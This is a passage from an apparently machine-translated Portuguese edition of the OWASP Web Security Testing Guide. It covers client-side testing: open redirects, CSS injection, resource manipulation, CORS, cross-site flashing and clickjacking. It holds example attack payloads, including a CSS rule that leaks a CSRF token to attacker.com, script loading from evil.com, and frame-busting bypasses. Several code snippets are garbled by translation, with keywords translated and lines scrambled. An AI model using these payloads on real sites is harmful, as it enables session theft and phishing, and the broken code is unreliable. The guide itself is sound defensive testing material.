Quando os testadores verificam manualmente esse tipo de vulnerabilidade, eles primeiro identificam se há redirecionamentos do lado do cliente
implementados no código do lado do cliente. Esses redirecionamentos podem ser implementados, para dar um exemplo de JavaScript, usando o objeto
window.location . Isso pode ser usado para direcionar o navegador para outra página simplesmente atribuindo uma string a ela. Isso é demonstrado no
trecho a seguir:
var redir = location.hash.substring(1); if (redir) {
window.location='http://'+decodeURIComponent(redir);
}
Neste exemplo, o script não executa nenhuma validação da variável redir que contém a entrada fornecida pelo usuário por meio da string de consulta.
Como nenhuma forma de codificação é aplicada, essa entrada inválida é passada para o objeto windows.location , criando uma vulnerabilidade de
redirecionamento de URL.
Isso implica que um invasor pode redirecionar a vítima para um site malicioso simplesmente enviando a seguinte string de consulta:
Machine
386
http://www.victim.site/?#www.malicious.site
Com uma pequena modificação, o trecho de exemplo acima pode ser vulnerável à injeção de JavaScript.
var redir = location.hash.substring(1); if (redir) {
window.location=decodeURIComponent(redir);
}
Isso pode ser explorado enviando a seguinte string de consulta:
http://www.victim.site/?#javascript:alert(document.cookie)
Ao testar esta vulnerabilidade, considere que alguns caracteres são tratados de forma diferente por diferentes navegadores. Para referência,
consulte XSS baseado em DOM.
387
Testando para injeção de CSS
EU IRIA
WSTG-CLNT-05
Resumo
Uma vulnerabilidade de injeção de CSS envolve a capacidade de injetar código CSS arbitrário no contexto de um site confiável que é processado
no navegador da vítima. O impacto desse tipo de vulnerabilidade varia de acordo com a carga CSS fornecida. Isso pode levar a scripts entre
sites ou exfiltração de dados.
Essa vulnerabilidade ocorre quando o aplicativo permite que o CSS fornecido pelo usuário interfira nas folhas de estilo legítimas do aplicativo.
A injeção de código no contexto CSS pode fornecer a um invasor a capacidade de executar JavaScript em determinadas condições ou extrair
valores confidenciais usando seletores CSS e funções capazes de gerar solicitações HTTP. Geralmente, permitir que os usuários personalizem
páginas fornecendo arquivos CSS personalizados é um risco considerável.
O código JavaScript a seguir mostra um possível script vulnerável no qual o invasor é capaz de controlar o location.hash (fonte) que atinge a
função cssText (sink). Este caso particular pode levar a XSS baseado em DOM em versões mais antigas do navegador; para obter mais
informações, consulte a folha de dicas de prevenção XSS baseada em DOM.
<a id="a1">Clique em mim</a>

<script> if
(location.hash.slice(1))
{ document.getElementById("a1").style.cssText = "cor: " } </script> + localização.hash.slice(1);
O invasor pode atingir a vítima solicitando que ela visite os seguintes URLs:
www.victim.com/#red;-o-link:'<javascript:alert(1)>';-o-link-source:current; (Ópera [8,12])
www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
A mesma vulnerabilidade pode aparecer no caso do XSS refletido, por exemplo, no seguinte código PHP:
<estilo> p {
cor: <?php echo $_GET['cor']; ?>; alinhamento de texto: centro;
}
</estilo>
Outros cenários de ataque envolvem a capacidade de extrair dados por meio da adoção de regras CSS puras. Esses ataques podem ser
conduzidos por meio de seletores CSS, levando à exfiltração de dados, por exemplo, tokens CSRF.
Aqui está um exemplo de código que tenta selecionar uma entrada com um nome correspondente a csrf_token e um valor começando com a .
, é possível
Utilizando um ataque de força bruta para determinar o ataque de valor do atributo que envia o valor para o domínio realizarpor
do invasor, umaexemplo,
tentando definir uma imagem de fundo no elemento de entrada selecionado.
<estilo>
input[name=csrf_token][value=â] {
388
imagem de fundo: url(http://attacker.com/log?a);
} </estilo>
Outros ataques usando conteúdo solicitado, como CSS, são destacados na palestra de Mario Heiderich, “Got Your Nose” no YouTube.
Objetivos do teste
Identificar pontos de injeção de CSS.
Avalie o impacto da injeção.
Como testar
O código deve ser analisado para determinar se um usuário tem permissão para injetar conteúdo no contexto CSS. Particularmente, a maneira como o
site retorna as regras CSS com base nas entradas deve ser inspecionada.
O seguinte é um exemplo básico:
<a id="a1">Clique em mim</a>

<b>Oi</b>
<script> $
("a").click(function(){ $
("b").attr("estilo","cor: " + location.hash.slice(1) );
});
</script>
O código acima contém um local de origem.hash , controlado pelo atacante, que pode injetar diretamente no estilo
atributo de um elemento HTML. Conforme mencionado acima, isso pode levar a resultados diferentes, dependendo do navegador em uso e da carga útil
fornecida.
As páginas a seguir fornecem exemplos de vulnerabilidades de injeção de CSS:
Senha “cracker” via CSS e HTML5
Leitura de atributo CSS
Ataques baseados em JavaScript usando CSSStyleDeclaration com entrada sem escape
Para obter mais recursos do OWASP sobre a prevenção da injeção de CSS, consulte a Folha de dicas de proteção de folhas de estilo em cascata.
389
Teste para manipulação de recursos do lado do cliente
EU IRIA
WSTG-CLNT-06
Resumo
Uma vulnerabilidade de manipulação de recursos do lado do cliente é uma falha de validação de entrada. Ocorre quando um aplicativo aceita
entrada controlada pelo usuário que especifica o caminho de um recurso, como a origem de um iframe, JavaScript, applet ou o manipulador
de um XMLHttpRequest. Essa vulnerabilidade consiste na capacidade de controlar as URLs que vinculam alguns recursos presentes em uma
página da web. O impacto dessa vulnerabilidade varia e geralmente é adotada para conduzir ataques XSS. Essa vulnerabilidade permite
interferir no comportamento esperado do aplicativo, fazendo com que ele carregue e renderize objetos maliciosos.
O código JavaScript a seguir mostra um possível script vulnerável no qual um invasor é capaz de controlar o location.hash (origem) que atinge
o atributo src de um elemento de script. Esse caso específico leva a um ataque XSS, pois o JavaScript externo pode ser injetado.
<script>
var d=document.createElement("script");
if(location.hash.slice(1)) { d.src = location.hash.slice(1);
} document.body.appendChild(d); </
script>
Um invasor pode atingir uma vítima fazendo com que ela visite este URL:
www.victim.com/#http://evil.com/js.js
Onde js.js contém:
alerta(documento.cookie)
Isso faria com que o alerta aparecesse no navegador da vítima.
Um cenário mais prejudicial envolve a possibilidade de controlar a URL chamada em uma solicitação CORS. Como o CORS permite que o
recurso de destino seja acessível pelo domínio solicitante por meio de uma abordagem baseada em cabeçalho, o invasor pode solicitar que a
página de destino carregue conteúdo malicioso de seu próprio site.
Aqui está um exemplo de uma página vulnerável:
<b id="p"></b>
<script> function
createCORSRequest(método, url) {
var xhr = new XMLHttpRequest();
xhr.open(método, url, verdadeiro);
xhr.onreadystatechange = function () { if (this.status
== 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
390
retorno xhr;
}
var xhr = createCORSRequest('GET', location.hash.slice(1)); xhr.enviar(nulo); </

script>
O location.hash é controlado pela entrada do usuário e é usado para solicitar um recurso externo, que será refletido por meio da construção innerHTML . Um
invasor pode solicitar à vítima que visite o seguinte URL:
www.victim.com/#http://evil.com/html.html
Com o manipulador de carga para html.html :
<?php
header('Access-Control-Allow-Origin: http://www.victim.com'); ?>
<script>alert(document.cookie);</script>
Objetivos do teste
Identifique coletores com validação de entrada fraca.
Avalie o impacto da manipulação de recursos.
Como testar
Para verificar manualmente esse tipo de vulnerabilidade, devemos identificar se o aplicativo emprega entradas sem validá-las corretamente. Nesse caso,
essas entradas estão sob o controle do usuário e podem ser usadas para especificar recursos externos. Como há muitos recursos que podem ser incluídos
no aplicativo (como imagens, vídeos, objetos, css e iframes), os scripts do lado do cliente que lidam com as URLs associadas devem ser investigados quanto
a possíveis problemas.
A tabela a seguir mostra possíveis pontos de injeção (sink) que devem ser verificados:
Tipo de recurso Etiqueta/Método Afundar
Quadro iframe origem
Ligação uma href
Solicitação AJAX xhr.open(método, [url], verdadeiro); URL
CSS ligação href
Imagem img origem
Objeto objeto dados
Roteiro roteiro origem
Os mais interessantes são aqueles que permitem a um invasor incluir código do lado do cliente (por exemplo, JavaScript) que pode levar a vulnerabilidades
XSS.
Machine
391
Testando o compartilhamento de recursos entre origens
EU IRIA
WSTG-CLNT-07
Resumo
Compartilhamento de recursos entre origens (CORS) é um mecanismo que permite que um navegador da Web execute solicitações entre
domínios usando a API XMLHttpRequest L2 de maneira controlada. No passado, a API XMLHttpRequest L1 permitia apenas que as solicitações
fossem enviadas dentro da mesma origem, pois era restrita pela mesma política de origem.
As solicitações de origem cruzada têm um cabeçalho de origem que identifica o domínio que iniciou a solicitação e é sempre enviado ao servidor. O
CORS define o protocolo a ser usado entre um navegador da Web e um servidor para determinar se uma solicitação de origem cruzada é permitida.
Cabeçalhos HTTP são usados para fazer isso.
A especificação W3C CORS determina que para solicitações não simples, como solicitações diferentes de GET ou POST ou solicitações que usam
credenciais, uma solicitação OPTIONS pré-voo deve ser enviada com antecedência para verificar se o tipo de solicitação terá um impacto negativo nos
dados. A solicitação pré-voo verifica os métodos e cabeçalhos permitidos pelo servidor e se as credenciais são permitidas. Com base no resultado da
solicitação OPTIONS, o navegador decide se a solicitação é permitida ou não.
Origin & Access-Control-Allow-Origin O cabeçalho de
origem é sempre enviado pelo navegador em uma solicitação CORS e indica a origem da solicitação. O cabeçalho de origem não pode ser alterado do
JavaScript, no entanto, confiar nesse cabeçalho para verificações de controle de acesso não é uma boa ideia, pois pode ser falsificado fora do
navegador, portanto, você ainda precisa verificar se os protocolos no nível do aplicativo são usados para proteger dados confidenciais.
Access-Control-Allow-Origin é um cabeçalho de resposta usado por um servidor para indicar quais domínios têm permissão para ler a resposta. Com
base na Especificação CORS W3, cabe ao cliente determinar e aplicar a restrição de acesso aos dados de resposta com base neste cabeçalho.
Do ponto de vista do teste de penetração, você deve procurar configurações inseguras como, por exemplo, usar um valor as do * caractere curinga
cabeçalho Access-Control-Allow-Origin que significa que todos os domínios são permitidos. Outro exemplo inseguro é quando o servidor retorna o
cabeçalho de origem sem nenhuma verificação adicional, o que pode levar ao acesso de dados confidenciais. Observe que essa configuração é muito
insegura e não é aceitável em termos gerais, exceto no caso de uma API pública destinada a ser acessível a todos.
Método de solicitação de controle de acesso e método de permissão de controle de acesso
O cabeçalho Access-Control-Request-Method é usado quando um navegador executa uma solicitação OPTIONS simulada e permite que o cliente
indique o método de solicitação da solicitação final. Por outro lado, o Access-Control-Allow-Method é um cabeçalho de resposta usado pelo servidor para
descrever os métodos que os clientes podem usar.
Access-Control-Request-Headers e Access-Control-Allow-Headers Esses dois cabeçalhos são usados
entre o navegador e o servidor para determinar quais cabeçalhos podem ser usados para executar uma solicitação de origem cruzada.
Acesso-Controle-Permitir-Credenciais
Esse cabeçalho como parte de uma solicitação de comprovação indica que a solicitação final pode incluir credenciais de usuário.
Validação de entrada
392
XMLHttpRequest L2 (ou XHR L2) apresenta a possibilidade de criar uma solicitação entre domínios usando a API XHR para compatibilidade com
versões anteriores. Isso pode introduzir vulnerabilidades de segurança que no XHR L1 não estavam presentes. Pontos interessantes do código a
serem explorados seriam URLs que são passados para XMLHttpRequest sem validação, especialmente se URLs absolutos forem permitidos porque
isso poderia levar à injeção de código. Da mesma forma, outra parte do aplicativo que pode ser explorada é se os dados de resposta não forem
escapados e pudermos controlá-los fornecendo entrada fornecida pelo usuário.
Outros cabeçalhos
Existem outros cabeçalhos envolvidos, como Access-Control-Max-Age, que determina o tempo em que uma solicitação de simulação pode ser
armazenada em cache no navegador, ou Access-Control-Expose-Headers, que indica quais cabeçalhos são seguros para expor à API de uma API
CORS especificação, ambos são cabeçalhos de resposta especificados no documento CORS W3C.
Objetivos do teste
Identificar endpoints que implementam CORS.
Certifique-se de que a configuração do CORS seja segura ou inofensiva.
Como testar
Uma ferramenta como o ZAP pode permitir que os testadores interceptem cabeçalhos HTTP, o que pode revelar como o CORS é usado. Os
testadores devem prestar atenção especial ao cabeçalho de origem para saber quais domínios são permitidos. Além disso, a inspeção manual do
JavaScript é necessária para determinar se o código é vulnerável à injeção de código devido ao manuseio inadequado da entrada fornecida pelo
usuário. Abaixo estão alguns exemplos:
`*`
Exemplo 1: Resposta insegura com solicitação curinga http:// em Access-Control-Allow-Origin
attacker.bar/test.php (observe o cabeçalho 'origin'):
GET /test.php HTTP/1.1 Host:

attacker.bar [...]
Referer: http://example.foo/CORSexample1.html Origem:

http://example.foo Conexão: keep-alive
Resposta (observe o cabeçalho 'Access-Control-Allow-Origin':)
HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: * Content-
Length: 4 Content-Type: application/xml
[Corpo da resposta]
Exemplo 2: problema de validação de entrada: XSS com CORS

Este código faz uma solicitação ao recurso passado após o caractere # na URL, inicialmente usado para obter recursos em
o mesmo servidor.
Código vulnerável:
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
393
var recurso = location.hash.substring(1); req.open("GET",

recurso, verdadeiro); req.enviar(); </script>
<corpo>
<div id="div1"></div>
</body>
Por exemplo, uma solicitação como esta mostrará o conteúdo do arquivo profile.php :
http://example.foo/main.php#profile.php
Solicitação e resposta geradas por http://example.foo/profile.php :
GET /profile.php HTTP/1.1 Host:

example.foo [...]
Referer: http://example.foo/main.php Conexão:

keep-alive
HTTP/1.1 200 OK
[...]
Comprimento do conteúdo:
25 Tipo de conteúdo: texto/html
[Corpo da resposta]
Agora, como não há validação de URL podemos injetar um script remoto, que será injetado e executado no contexto do domínio
example.foo , com uma URL como esta:
http://example.foo/main.php#http://attacker.bar/file.php
Pedido e resposta gerados por http://attacker.bar/file.php :
GET /file.php HTTP/1.1 Host:

attacker.bar
[...]
Referer: http://example.foo/main.php origem:
http://example.foo
HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
Comprimento do conteúdo: 92 Tipo de
conteúdo: texto/html
Conteúdo injetado do attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">

394
Teste para intermitência entre sites
EU IRIA
WSTG-CLNT-08
Resumo
ActionScript, baseado em ECMAScript, é a linguagem utilizada pelos aplicativos Flash para lidar com necessidades interativas.
Existem três versões da linguagem ActionScript. ActionScript 1.0 e ActionScript 2.0 são muito semelhantes, sendo o ActionScript 2.0 uma
extensão do ActionScript 1.0. O ActionScript 3.0, introduzido com o Flash Player 9, é uma reescrita da linguagem para oferecer suporte ao design
orientado a objetos.
O ActionScript, como qualquer outra linguagem, possui alguns padrões de implementação que podem levar a problemas de segurança. Em
particular, como os aplicativos Flash geralmente são incorporados em navegadores, vulnerabilidades como Cross Site Scripting baseado em
DOM (DOM XSS) podem estar presentes em aplicativos Flash defeituosos.
Cross-Site Flashing (XSF) é uma vulnerabilidade que tem um impacto semelhante ao XSS.
O XSF ocorre quando os seguintes cenários são iniciados de diferentes domínios:
Um filme carrega outro filme com funções loadMovie* (ou outros hacks) e tem acesso ao mesmo sandbox, ou parte dele.
Uma página HTML usa JavaScript para comandar um filme do Adobe Flash, por exemplo, chamando:
GetVariable para acessar objetos públicos e estáticos do Flash do JavaScript como uma string.
SetVariable para definir um objeto Flash estático ou público para um novo valor de string com JavaScript.
Comunicações inesperadas entre o navegador e o aplicativo SWF, que podem resultar no roubo de dados do aplicativo SWF.
O XSF pode ser executado forçando um SWF defeituoso a carregar um arquivo Flash maléfico externo. Esse ataque pode resultar em XSS ou
na modificação da GUI para enganar um usuário a inserir credenciais em um formulário Flash falso. O XSF pode ser usado no
presença de Flash HTML Injection ou arquivos SWF externos quando os métodos loadMovie* são usados.
Open Redirectors SWFs
têm a capacidade de navegar no navegador. Se o SWF aceitar o destino como FlashVar, o SWF poderá ser usado como um redirecionador
aberto. Um redirecionador aberto é qualquer parte da funcionalidade do site em um site confiável que um invasor pode usar para redirecionar o
usuário final para um site mal-intencionado. Eles são frequentemente usados em ataques de phishing.
Semelhante ao cross-site scripting, o ataque envolve um usuário clicando em um link malicioso.
No caso do Flash, a URL maliciosa pode se parecer com:
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing website.org/
phishEndUsers.html
No exemplo acima, um usuário final pode ver que o URL começa com seu site confiável favorito e clicar nele. O link carregaria o SWF confiável
que pega o getURLValue e o fornece para uma navegação do navegador ActionScript
ligar:
getURL(_root.getURLValue,"_self");
395
Isso levaria o navegador ao URL malicioso fornecido pelo invasor. Nesse ponto, o phisher aproveitou com sucesso a confiança que o usuário tem em
Trusted.example.org para induzi-lo a visitar seu site malicioso.
A partir daí, eles poderiam lançar um 0-day, realizar spoofing do site original ou qualquer outro tipo de ataque. Os SWFs podem atuar involuntariamente como
um redirecionador aberto no site.
Os desenvolvedores devem evitar usar URLs completos como FlashVars. Se eles planejam navegar apenas em seu próprio site, devem usar URLs relativos ou
verificar se o URL começa com um domínio e protocolo confiáveis.
Ataques e versão do Flash Player Desde maio de
2007, três novas versões do Flash Player foram lançadas pela Adobe. Cada nova versão restringe alguns dos ataques descritos anteriormente.
Versão do jogador como função Interface externa ObterURL Injeção de HTML
v9.0 r47/48 Sim Sim Sim Sim
v9.0 r115 Não Sim Sim Sim
v9.0 r124 Não Sim Sim Parcialmente
Objetivos do teste
Descompilar e analisar o código do aplicativo.
Avalie entradas de coletores e usos de métodos inseguros.
Como testar
Desde a primeira publicação de Testing Flash Applications, novas versões do Flash Player foram lançadas para mitigar alguns dos ataques que serão descritos.
No entanto, alguns problemas ainda permanecem exploráveis porque são resultado de práticas de programação inseguras.
Descompilação Como
os arquivos SWF são interpretados por uma máquina virtual embutida no próprio player, eles podem ser potencialmente descompilados e analisados. O
descompilador ActionScript 2.0 mais conhecido e gratuito é o flare.
Para descompilar um arquivo SWF com flare, basta digitar:
$ flare hello.swf
Isso resulta em um novo arquivo chamado hello.flr.
A descompilação ajuda os testadores porque permite o teste de caixa branca dos aplicativos Flash. Uma rápida pesquisa na web pode levar você a vários
desmontadores e ferramentas de segurança flash.
Variáveis indefinidas FlashVars

FlashVars são as variáveis que o desenvolvedor de SWF planejou receber da página da web. FlashVars normalmente são passados da tag Object ou Embed
dentro do HTML. Por exemplo:
<object width="550" height="400" classid="clsidd27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://

download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab# version=9,0,124,0"> <param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2"> <embed src="somefilename.swf" width="550" height="400"
FlashVars="var1=val1&var2=val2"> </embed>
</object>
FlashVars também pode ser inicializado a partir da URL:

396
http://www.example.org/somefilename.swf?var1=val1&var2=val2
No ActionScript 3.0, um desenvolvedor deve atribuir explicitamente os valores de FlashVar a variáveis locais. Normalmente, isso se parece com:
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters; var var1:String =

String(paramObj["var1"]); var var2:String = String(paramObj["var2"]);
No ActionScript 2.0, qualquer variável global não inicializada é considerada uma FlashVar. Variáveis globais são aquelas variáveis que são precedidas
por _root , _global ou _level0 . Isso significa
por parâmetros
que, se umdeatributo
URL: como _root.varname for indefinido em todo o fluxo de código, ele poderá ser substituído
http://victim/file.swf?varname=value
Independentemente de você estar olhando para ActionScript 2.0 ou ActionScript 3.0, FlashVars pode ser um vetor de ataque. Vejamos alguns códigos
do ActionScript 2.0 que são vulneráveis:
Exemplo:
movieClip 328 __Packages.Locale {
#initclip if (!
_global.Locale) { var v1 =
function (on_load) {
var v5 = novo XML(); var
v6 = isto; v5.onLoad =
function (sucesso) { if (sucesso) { trace('Locale
carregado xml'); var v3 = this.xliff.file.body.
$trans_unit; var v2 = 0; while (v2 <
v3.length) { Locale.strings[v3[v2]._resname] =
v3[v2].source.__text; ++v2; } carregando(); } outro {} }; if
(_root.idioma != indefinido) { Locale.DEFAULT_LANG =
_root.idioma; } v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};
O código acima pode ser atacado solicitando:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Métodos inseguros
Quando um ponto de entrada é identificado, os dados que ele representa podem ser usados por métodos inseguros. Se os dados não forem filtrados
ou validados, isso pode levar a algumas vulnerabilidades.
Métodos inseguros desde a versão r47 são:
carregarVariáveis()
loadMovie()
getURL()
397
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound('url' , éStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
Exploração por XSS refletido O arquivo

swf deve ser hospedado no host da vítima e as técnicas de XSS refletido devem ser usadas. Um invasor força o navegador a
carregar um arquivo swf puro diretamente na barra de localização (por redirecionamento ou engenharia social) ou carregando-o
por meio de um iframe de uma página maligna:
<iframe src='http://victim/path/to/file.swf'></iframe>
Nessa situação, o navegador gerará automaticamente uma página HTML como se fosse hospedada pelo host da vítima.
GetURL (AS2) / NavigateToURL (AS3)
A função GetURL no ActionScript 2.0 e NavigateToURL no ActionScript 3.0 permitem que o filme carregue um URI na janela do navegador. Se
uma variável indefinida for usada como o primeiro argumento para getURL:
getURL(_root.URI,'_targetFrame');
Ou se um FlashVar for usado como o parâmetro que é passado para uma função navigationToURL:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);

navegueToURL(solicitação);
Isso significa que é possível chamar o JavaScript no mesmo domínio em que o filme está hospedado solicitando:
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
O mesmo é possível quando apenas uma parte de getURL é controlada via injeção de DOM com injeção de Flash JavaScript:
getUrl('javascript:function('+_root.arg+')')
Usando àsfunction`
Você pode usar o protocolo especial asfunction para fazer com que o link execute uma função ActionScript em um arquivo SWF em vez de abrir
um URL. Até o lançamento, a função Flash Player 9 r48 pode ser usada em todos os métodos que tenham uma URL como argumento. Após
esse lançamento, asfunction foi restrito para uso dentro de um TextField HTML.
Isso significa que um testador pode tentar injetar:

398
asfunction:getURL,javascript:evilcode
em todos os métodos inseguros, como:
loadMovie(_root.URL)
solicitando:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
Interface externa
ExternalInterface.call é um método estático introduzido pela Adobe para melhorar a interação player/navegador para ActionScript 2.0 e
ActionScript 3.0.
Do ponto de vista da segurança, poderia ser abusado quando parte de seu argumento pudesse ser controlado:
flash.external.ExternalInterface.call(_root.callback);
o padrão de ataque para esse tipo de falha pode ser algo como o seguinte:
eval(código do mal)
já que o JavaScript interno que é executado pelo navegador será algo parecido com:
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')
Injeção de HTML
Objetos TextField podem renderizar HTML mínimo definindo:
tf.html = verdadeiro
tf.htmlText = '<tag>texto</tag>'
Portanto, se alguma parte do texto puder ser controlada pelo testador, uma tag <a> ou uma tag de imagem poderá ser injetada, resultando na
modificação da GUI ou em um ataque XSS no navegador.
Alguns exemplos de ataque com tag <a> :
XSS direto: <a href='javascript:alert(123)'>
Chame uma função: <a href='asfunction:function,arg'>
Chame as funções públicas do SWF: <a href='asfunction:_root.obj.function, arg'>
Chame a estática nativa como função: <a href='asfunction:System.Security.allowDomain,evilhost'>
Uma tag de imagem também pode ser usada:
<img src='http://evil/evil.swf'>
Machine
399
Neste exemplo, .swf é necessário para ignorar o filtro interno do Flash Player:
<img src='javascript:evilcode//.swf'>
Desde o lançamento do Flash Player 9.0.124.0, o XSS não é mais explorável, mas a modificação da GUI ainda pode ser realizada.
As seguintes ferramentas podem ser úteis para trabalhar com SWF:
Adobe SWF Investigador
OWASP SWFIntruder
Descompilador - Flare
Desmontador – Flasm
Swfmill – Converter SWF para XML e vice-versa
400
Teste de Clickjacking
EU IRIA
WSTG-CLNT-09
Resumo
Clickjacking, um subconjunto de correção de interface do usuário, é uma técnica maliciosa pela qual um usuário da web é enganado para
interagir (na maioria dos casos, clicando) com algo diferente do que o usuário acredita estar interagindo. Esse tipo de ataque, sozinho ou
em conjunto com outros ataques, pode enviar comandos não autorizados ou revelar informações confidenciais enquanto a vítima interage
com páginas da Web aparentemente inofensivas. O termo clickjacking foi cunhado por Jeremiah Grossman e Robert Hansen em 2008.
Um ataque de clickjacking usa recursos aparentemente inofensivos de HTML e JavaScript para forçar a vítima a realizar ações
indesejadas, como clicar em um botão invisível que executa uma operação não intencional. Este é um problema de segurança do lado
do cliente que afeta uma variedade de navegadores e plataformas.
Para realizar esse ataque, um invasor cria uma página da Web aparentemente inofensiva que carrega o aplicativo de destino por meio do
uso de um quadro embutido (oculto com código CSS). Feito isso, um invasor pode induzir a vítima a interagir com a página da Web por
outros meios (através, por exemplo, de engenharia social). Como em outros ataques, um pré-requisito comum é que a vítima seja
autenticada no site de destino do invasor.
Figura 4.11.9-1: Ilustração de quadro inline de clickjacking

401
A vítima navega na página da Web do invasor com a intenção de interagir com a interface de usuário visível, mas está inadvertidamente realizando
ações na página oculta. Usando a página oculta, um invasor pode enganar os usuários para que executem ações que nunca pretenderam realizar
por meio do posicionamento dos elementos ocultos na página da web.
Figura 4.11.9-2: Ilustração de quadro em linha mascarado
O poder desse método é que as ações executadas pela vítima são originadas da página da Web de destino oculta, mas autêntica.
Consequentemente, algumas das proteções anti-CSRF implantadas pelos desenvolvedores para proteger a página da Web contra ataques CSRF
podem ser contornadas.
Objetivos do teste
Entenda as medidas de segurança em vigor.
Avalie o quão rígidas são as medidas de segurança e se elas podem ser contornadas.
Como testar
Conforme mencionado acima, esse tipo de ataque geralmente é projetado para permitir que um invasor induza ações dos usuários no site de
destino, mesmo que tokens anti-CSRF estejam sendo usados. Testes devem ser conduzidos para determinar se as páginas do site são
vulneráveis a ataques de clickjacking.
Os testadores podem investigar se uma página de destino pode ser carregada em um quadro embutido, criando uma página da Web simples que
inclua um quadro contendo a página da Web de destino. Um exemplo de código HTML para criar esta página da Web de teste é exibido no
seguinte snippet:
<html>
<cabeça>
<title>Página de teste do Clickjack </title>
</head>
<body>
<iframe src="http://www.target.site" width="500" height="500"></iframe> </body> </html>
Se a página http://www.target.site for carregada com sucesso no quadro, o site estará vulnerável e não terá nenhum tipo de proteção contra
ataques de clickjacking.
402
Ignorar a proteção contra clickjacking Se a página
http://www.target.site não aparecer no quadro embutido, o site provavelmente tem alguma forma de proteção contra clickjacking. É importante observar que
isso não garante que a página seja totalmente imune a clickjacking.
Os métodos para proteger uma página da Web contra clickjacking podem ser divididos em alguns mecanismos principais. É possível contornar
esses métodos em algumas circunstâncias, empregando soluções alternativas específicas. Para obter mais recursos OWASP sobre defesa contra
clickjacking, consulte a folha de dicas sobre defesa contra clickjacking OWASP.
Proteção do lado do cliente: Bloqueio de quadros
O método mais comum do lado do cliente, que foi desenvolvido para proteger uma página da web de clickjacking, é chamado de Frame Busting e consiste
em um script em cada página que não deve ser enquadrado. O objetivo dessa técnica é impedir que um site funcione quando carregado dentro de um quadro.
A estrutura do código frame busting normalmente consiste em uma “declaração condicional” e uma declaração de “contra-ação”. Para este tipo de proteção,
existem algumas soluções alternativas que se enquadram no nome de “Bust frame busting”. Algumas dessas técnicas são específicas do navegador,
enquanto outras funcionam em vários navegadores.
Versão do site móvel
As versões móveis do site geralmente são menores e mais rápidas que as versões para desktop e devem ser menos complexas que o aplicativo principal.
As variantes móveis costumam ter menos proteção, pois existe a suposição errada de que um invasor não pode atacar um aplicativo pelo smartphone. Isso
é fundamentalmente errado, porque um invasor pode falsificar a origem real fornecida por um navegador da Web, de modo que uma vítima não móvel possa
visitar um aplicativo feito para usuários móveis. Dessa suposição decorre que em alguns casos não é necessário o uso de técnicas de evasão de frame
busting quando existem alternativas desprotegidas, que permitem o uso dos mesmos vetores de ataque.
Emolduramento Duplo
Algumas técnicas de eliminação de quadros tentam quebrar o quadro atribuindo um valor ao atributo parent.location na instrução “counter-action”.
Tais ações são, por exemplo:
self.parent.location = document.location
parent.location.href = self.location
parent.location = self.location
Esse método funciona bem até que a página de destino seja enquadrada por uma única página. No entanto, se o invasor incluir a página da Web de destino
em um quadro aninhado em outro (um quadro duplo), tentar acessar o parent.location se tornará uma violação de segurança em todos os navegadores
populares, devido à política de navegação do quadro descendente. Essa violação de segurança desativa a navegação de contra-ação.
Código de bloqueio de frame do site de destino ( example.org ):
if(top.location!=self.locaton) {
local.pai = local.auto;
}
Quadro superior do atacante ( fictitious2.html ):
<iframe src="fictício.html">
Subquadro fictício do atacante ( fictitious.html ):

403
<iframe src="http://example.org">
Desativando o JavaScript
Como esse tipo de proteção do lado do cliente depende do código JavaScript frame busting, se a vítima tiver o JavaScript desabilitado ou se for
possível para um invasor desabilitar o código JavaScript, a página da Web não terá nenhum mecanismo de proteção contra clickjacking.
Existem três técnicas de desativação que podem ser usadas com quadros:
Frames restritos com o Internet Explorer: A partir do Internet Explorer 6, um frame pode ter o atributo “security” que, se for definido com o valor
“restricted”, garante que o código JavaScript, os controles ActiveX e os redirecionamentos para outros sites o façam. não funciona no quadro.
Exemplo:
<iframe src="http://example.org" security="restricted"></iframe>
Atributo sandbox: com HTML5 há um novo atributo chamado “sandbox”. Permite um conjunto de restrições de conteúdo
carregado no iframe. Neste momento, este atributo é compatível apenas com Chrome e Safari.
Exemplo:
<iframe src="http://example.org" sandbox></iframe>
Modo de design: Paul Stone apresentou um problema de segurança em relação ao “designMode” que pode ser ativado na página de framing
(via document.designMode), desabilitando o JavaScript no topo e no sub-frame. O modo de design está atualmente implementado no Firefox e
no IE8.
Evento OnBeforeUnload
O evento onBeforeUnload pode ser usado para evitar o código de bloqueio de quadro. Esse evento é chamado quando o código de bloqueio de
quadro deseja destruir o iframe carregando a URL em toda a página da Web e não apenas no iframe. A função do manipulador retorna uma string que
é solicitada ao usuário perguntando se deseja sair da página. Quando esta string é exibida para o usuário, é provável que cancele a navegação,
anulando a tentativa de frame busting do alvo.
O invasor pode usar esse ataque registrando um evento de descarga na página superior usando o seguinte código de exemplo:
<h1>www.fictício.site</h1>
<script>
window.onbeforeunload = function() {
Retorna " Deseja sair do site fictício?";
} </script>
<iframe src="http://example.org">
A técnica anterior requer a interação do usuário, mas, o mesmo resultado, pode ser alcançado sem avisar o usuário.
Para fazer isso, o invasor precisa cancelar automaticamente a solicitação de navegação recebida em um manipulador de eventos onBeforeUnload,
enviando repetidamente (por exemplo, a cada milissegundo) uma solicitação de navegação para uma página da Web que responde com um cabeçalho
“HTTP/1.1 204 No Content”.
Como com essa resposta o navegador não fará nada, o resultado dessa operação é a liberação do pipeline de solicitação, tornando inútil a tentativa
de impedimento de quadro original.
404
Segue um código de exemplo:
